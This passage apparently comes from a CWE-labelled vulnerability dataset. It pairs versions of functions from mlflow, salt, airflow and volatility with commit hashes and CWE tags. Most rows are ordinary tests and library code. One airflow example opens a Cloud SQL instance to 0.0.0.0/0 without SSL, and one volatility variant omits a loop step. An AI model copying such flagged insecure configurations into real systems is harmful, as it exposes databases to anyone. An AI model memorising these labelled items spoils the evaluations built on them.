    assert pdf[""output""][1] == (""b"", [1], (False, (""another_string"",)), [(0.2,), (0.3,)])",CWE-703,mlflow/mlflow,b43029049e02e443d434c39938b6b4a77f73d7d3,"def test_spark_udf_infer_return_type(spark, tmp_path):
    class MyModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input):
            return model_input

    schema = StructType(
        [
            StructField(
                ""str"",
                StringType(),
            ),
            StructField(
                ""arr"",
                ArrayType(IntegerType()),
            ),
            StructField(
                ""obj"",
                StructType(
                    [
                        StructField(""bool"", BooleanType()),
                        StructField(""obj2"", StructType([StructField(""str"", StringType())])),
                    ]
                ),
            ),
            StructField(
                ""obj_arr"",
                ArrayType(
                    StructType(
                        [
                            StructField(""double"", DoubleType()),
                        ]
                    )
                ),
            ),
        ]
    )
    df = spark.createDataFrame(
        [
            (
                ""a"",
                [0],
                {""bool"": True, ""obj2"": {""str"": ""some_string""}},
                [{""double"": 0.1}],
            ),
            (
                ""b"",
                [1],
                {""bool"": False, ""obj2"": {""str"": ""another_string""}},
                [{""double"": 0.2}, {""double"": 0.3}],
            ),
        ],
        schema=schema,
    )

    signature = mlflow.models.infer_signature(df, df)
    mlflow.pyfunc.save_model(
        path=tmp_path,
        python_model=MyModel(),
        signature=signature,
    )

    udf = mlflow.pyfunc.spark_udf(spark=spark, model_uri=tmp_path)
    df = df.withColumn(""output"", udf(""str"", ""arr"", ""obj"", ""obj_arr""))
    assert df.schema[""output""] == StructField(""output"", schema)
    pdf = df.toPandas()
    assert pdf[""output""][0] == (""a"", [0], (True, (""some_string"",)), [(0.1,)])
    assert pdf[""output""][1] == (""b"", [1], (False, (""another_string"",)), [(0.2,), (0.3,)])"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_win_system.py,1,"def test_computer_name():
    """"""
    Test to manage the computer's name
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(return_value=""salt"")
    with patch.dict(win_system.__salt__, {""system.get_computer_name"": mock}):
        mock = MagicMock(side_effect=[None, ""SALT"", ""Stack"", ""stack""])
        with patch.dict(
            win_system.__salt__, {""system.get_pending_computer_name"": mock}
        ):
            ret.update({""comment"": ""Computer name already set to 'salt'""})
            assert win_system.computer_name(""salt"") == ret

            ret.update(
                {
                    ""comment"": (
                        ""The current computer name""
                        "" is 'salt', but will be changed to 'salt' on""
                        "" the next reboot""
                    )
                }
            )
            assert win_system.computer_name(""salt"") == ret

            with patch.dict(win_system.__opts__, {""test"": True}):
                ret.update(
                    {
                        ""result"": None,
                        ""comment"": ""Computer name will be changed to 'salt'"",
                    }
                )
                assert win_system.computer_name(""salt"") == ret

            with patch.dict(win_system.__opts__, {""test"": False}):
                mock = MagicMock(return_value=False)
                with patch.dict(
                    win_system.__salt__, {""system.set_computer_name"": mock}
                ):
                    ret.update(
                        {
                            ""comment"": ""Unable to set computer name to 'salt'"",
                            ""result"": False,
                        }
                    )
                    assert win_system.computer_name(""salt"") == ret",CWE-703,saltstack/salt,536e103cc26b63c25d0a6537135fce175c55cdf6,"def test_computer_name():
    """"""
    Test to manage the computer's name
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(return_value=""salt"")
    with patch.dict(win_system.__salt__, {""system.get_computer_name"": mock}):
        mock = MagicMock(side_effect=[None, ""SALT"", ""Stack"", ""stack""])
        with patch.dict(
            win_system.__salt__, {""system.get_pending_computer_name"": mock}
        ):
            ret.update({""comment"": ""Computer name already set to 'salt'""})
            assert win_system.computer_name(""salt"") == ret

            ret.update(
                {
                    ""comment"": ""The current computer name""
                    "" is 'salt', but will be changed to 'salt' on""
                    "" the next reboot""
                }
            )
            assert win_system.computer_name(""salt"") == ret

            with patch.dict(win_system.__opts__, {""test"": True}):
                ret.update(
                    {
                        ""result"": None,
                        ""comment"": ""Computer name will be changed to 'salt'"",
                    }
                )
                assert win_system.computer_name(""salt"") == ret

            with patch.dict(win_system.__opts__, {""test"": False}):
                mock = MagicMock(return_value=False)
                with patch.dict(
                    win_system.__salt__, {""system.set_computer_name"": mock}
                ):
                    ret.update(
                        {
                            ""comment"": ""Unable to set computer name to 'salt'"",
                            ""result"": False,
                        }
                    )
                    assert win_system.computer_name(""salt"") == ret"
,UNKNOWN,UNKNOWN,providers/google/tests/system/google/cloud/cloud_sql/example_cloud_sql_query.py,1,"def ip_configuration() -> dict[str, Any]:
    """"""Generates an ip configuration for a CloudSQL instance creation body""""""
    if run_in_composer():
        # Use connection to Cloud SQL instance via Private IP within the Cloud Composer's network.
        return {
            ""ipv4Enabled"": True,
            ""requireSsl"": False,
            ""enablePrivatePathForGoogleCloudServices"": True,
            ""privateNetwork"": f""projects/{PROJECT_ID}/global/networks/default"",
        }
    # Use connection to Cloud SQL instance via Public IP from anywhere (mask 0.0.0.0/0).
    # Consider specifying your network mask
    # for allowing requests only from the trusted sources, not from anywhere.
    return {
        ""ipv4Enabled"": True,
        ""requireSsl"": False,
        ""authorizedNetworks"": [
            {""value"": ""0.0.0.0/0""},
        ],
    }",CWE-605,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def ip_configuration() -> dict[str, Any]:
    """"""Generates an ip configuration for a CloudSQL instance creation body""""""
    if run_in_composer():
        # Use connection to Cloud SQL instance via Private IP within the Cloud Composer's network.
        return {
            ""ipv4Enabled"": True,
            ""requireSsl"": False,
            ""enablePrivatePathForGoogleCloudServices"": True,
            ""privateNetwork"": f""projects/{PROJECT_ID}/global/networks/default"",
        }
    else:
        # Use connection to Cloud SQL instance via Public IP from anywhere (mask 0.0.0.0/0).
        # Consider specifying your network mask
        # for allowing requests only from the trusted sources, not from anywhere.
        return {
            ""ipv4Enabled"": True,
            ""requireSsl"": False,
            ""authorizedNetworks"": [
                {""value"": ""0.0.0.0/0""},
            ],
        }"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/find_file.py,0,"def radix_tree_lookup_slot(self, root, index):
        self.RADIX_TREE_MAP_SHIFT = 6
        self.RADIX_TREE_MAP_SIZE = 1 << self.RADIX_TREE_MAP_SHIFT
        self.RADIX_TREE_MAP_MASK = self.RADIX_TREE_MAP_SIZE - 1

        node = root.rnode

        if self.radix_tree_is_indirect_ptr(node) == 0:

            if index > 0:
                return None

            off = root.obj_offset + self.profile.get_obj_offset(""radix_tree_root"", ""rnode"")
            page = obj.Object(""Pointer"", offset = off, vm = self.addr_space)
            return page

        node = self.radix_tree_indirect_to_ptr(node)
        height = node.height
        shift = (height - 1) * self.RADIX_TREE_MAP_SHIFT
        slot = -1

        while 1:
            idx = (index >> shift) & self.RADIX_TREE_MAP_MASK
            slot = node.slots[idx]
            node = self.radix_tree_indirect_to_ptr(slot)
            shift = shift - self.RADIX_TREE_MAP_SHIFT
            height = height - 1
            if height <= 0:
                break

        if slot == -1:
            return None

        return slot",,volatilityfoundation/volatility,39a83659a6bddaf6d260f188aa12b33961cac215,"def radix_tree_lookup_slot(self, root, index):
        self.RADIX_TREE_MAP_SHIFT = 6
        self.RADIX_TREE_MAP_SIZE = 1 << self.RADIX_TREE_MAP_SHIFT
        self.RADIX_TREE_MAP_MASK = self.RADIX_TREE_MAP_SIZE - 1

        node = root.rnode

        if self.radix_tree_is_indirect_ptr(node) == 0:

            if index > 0:
                return None

            off = root.obj_offset + self.profile.get_obj_offset(""radix_tree_root"", ""rnode"")
            page = obj.Object(""Pointer"", offset = off, vm = self.addr_space)
            return page

        node = self.radix_tree_indirect_to_ptr(node)
        height = node.height
        shift = (height - 1) * self.RADIX_TREE_MAP_SHIFT
        slot = -1

        while 1:
            idx = (index >> shift) & self.RADIX_TREE_MAP_MASK
            slot = node.slots[idx]
            shift = shift - self.RADIX_TREE_MAP_SHIFT
            height = height - 1
            if height <= 0:
                break

        if slot == -1:
            return None

        return slot"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **ZIP Archive Handling**

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Password-protected ZIP Archives* (only supported by
          :py:func:`archive.unzip <salt.modules.archive.unzip>`) -
          :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` is not
          be permitted to extract password-protected ZIP archives, as
          attempting to do so will cause the unzip command to block on user
          input. The :py:func:`archive.is_encrypted
          <salt.modules.archive.unzip>` function will be used to determine if
          the archive is password-protected. If it is, then the ``password``
          argument will be required for the state to proceed. If
          ``use_cmd_unzip`` is specified and set to ``True``, then the state
          will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if options is not None and not isinstance(options, six.string_types):
        options = str(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    cached_source = os.path.join(
        __opts__['cachedir'],
        'files',
        __env__,
        re.sub(r'[:/\\]', '_', source_hash_basename),
    )

    if os.path.isdir(cached_source):
        # Prevent a traceback from attempting to read from a directory path
        salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    if not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __salt__['state.single']('file.managed',
                                               cached_source,
                                               source=source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               makedirs=True,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))

        # Get actual state result. The state.single return is a single-element
        # dictionary with the state's unique ID at the top level, and its value
        # being the state's return dictionary. next(iter(dict_name)) will give
        # us the value of the first key, so
        # file_result[next(iter(file_result))] will give us the results of the
        # state.single we just ran.
        try:
            file_result = file_result[next(iter(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
